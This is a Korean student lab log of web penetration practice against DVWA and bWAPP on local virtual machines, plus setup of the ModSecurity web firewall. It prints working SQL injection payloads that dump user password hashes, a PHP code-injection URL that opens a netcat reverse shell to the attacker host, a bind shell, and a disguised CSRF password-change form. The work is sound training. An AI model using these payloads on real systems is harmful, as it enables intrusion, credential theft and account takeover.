2022.09.14
모의 해킹 실습
1.SQL injection
2.웹방화벽
3.Bee Box 문제풀이
4.후기
실습환경
가상머신 : vmware Workstation 16 Player
운영체제 : Ubuntu-20.04.2.0
Memory : 2 GB
Processors : 2
Hard Disk : 20 GB
Network : NAT
가상머신 : vmware Workstation 16 Player
운영체제 : bee-box v1.6
Memory : 1 GB
Processors : 1
Hard Disk : 20 GB
Network : NAT
가상머신 : vmware Workstation 16 Player
운영체제 : kali-linux-2022
Memory : 2 GB
Processors : 4
Hard Disk : 80 GB
Network : NAT
1) 소개
SQL Injection 이란 악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작하는 행위 입니다. 인젝션 공격은 이전에 소개했던 OWASP Top10 중 세번째에 속해 있으며, 공격이 비교적 쉬운 편이고 공격에 성공할 경우 큰 피해를 입힐 수 있는 공격입니다
2) 실습
select firstname,surname from ?? where id=' ';
이렇게 추측하는 상황에서 ' union select 1,2 # 쿼리문을 삽입해주었고 정상 실행 되는것으로 컬램 개수가 2개인걸 확인 할 수 있었다.
' union select database(),version() #
해당 명령어를 통해 데이타베이스의 이름을 알 수 있었다.
' union select table_name,null from information_schema.tables where table_schema='dvwa' #
' union select column_name,null from information_schema.columns where table_schema='dvwa' and table_name='users'#
' union select user,password from dvwa.users #
해쉬값으로 출력되기 때문에 https://hashes.com/en/decrypt/hash 해당 사이트에 접속해서 복호화할 수 있다.
L3, L4부분은 방화벽에서 걸러지지만 방화벽에서 실제 메시지부분은 따로 확인하기 힘들다는 문제가 있다. 그러한 내용을 방어하기 위하여 웹방화벽은 메시지 위주로 필터한다는점에서 방화벽과 차이점이 있다고 볼 수 있다.
sudo apt install libapache2-mod-security2
sudo a2enmod security2
sudo systemctl restart apache2
sudo mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
//뒤에 붙은 -recommended 제거
sudo apt install vim
sudo vi /etc/modsecurity/modsecurity.conf
변경할 내용
SecRuleEngine DetectionOnly -> SecRuleEngine On
SecAuditLogParts ABDEFHIJZ -> SecAuditLogParts ABCEFHJKZ
:wq //저장하고 종료
sudo systemctl restart apache2
sudo vi /etc/apache2/mods-enabled/security2.conf
sudo apache2ctl -t
sudo systemctl restart apache2
DVWA에서 공격시도시에 Forbidden이 뜬다면 정상적으로 설정이 완료되었다.
1) PHP Code Injection
192.168.5.130/bWAPP/phpi.php?message=hello
http://192.168.5.130/bWAPP/phpi.php?message=shell_exec("pwd");
해당 구문 메시지에 삽입하면 명령어가 실행되는걸 볼 수 있다.
2. netcat을 이용하여 공격자서버에 연결(Reverse Connection방식)
공격서버에서 nc -l -p 8000으로 netcat을 열어주었다
그 이후 PHP Code Injection을 통해 서버로 Netcat을 통해 연결하였다.
http://192.168.5.130/bWAPP/phpi.php?message=exec(%22nc%20192.168.5.129%208000%20-e%20/bin/sh%22)
PWD 등 명령어로 beebox에 접속한것을 확인할 수 있었다.
; nc -l -p 8000 -e /bin/sh
해당 명령어를 통해 netcat을 포트오픈
nc 192.168.5.130 8000
해당 명령어를 통해 칼리로 접속하였다
2) CSRF
CSRF는 스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹서버를 공격하는 방법이다.
예를 들어
경우가 있다.
CSRF 실습화면이다.
Bee로 접속되어있는걸 확인할 수 있다.
해당 페이지의 비밀번호 바꾸는 폼파일을 소스보기 통해 복사하였고, 입맛대로 조금 수정하였다.
<form action="http://192.168.5.130/bWAPP/csrf_1.php" method="GET">
<p><label for="password_new">BTS Fan Page</label><br />
<input type="hidden" id="password_new" name="password_new" value="1234"></p>
<p><label for="password_conf">Click like it</label><br />
<input type="hidden" id="password_conf" name="password_conf" value="1234"></p>
<button type="submit" name="action" value="change">like it</button>
</form>
해당 HTML 문서에보면 hidden으로 숨어있지만 1234라는 value값이 들어있는게 보이고 like it 버튼을 눌르면 비밀번호가 1234로 바뀌는걸 알 수 있다.
이전 패스워드로 접속시에 접속이 되지 않는것을 확인할 수 있다.
1234로 접속시에 접속이 가능하다.
오늘까지 해서 웹 해킹에 대해서 마무리되었다. 기본적인 개념들은 챙겼다고 할 수 있을거 같지만 아직까지 웹해킹에 대해서는 알아야할점도 많아보인다.
복습을 통해 지금까지 내용을 잘 정리하고 여러 플랫폼을 통해 더배워나갈수 있을꺼같다.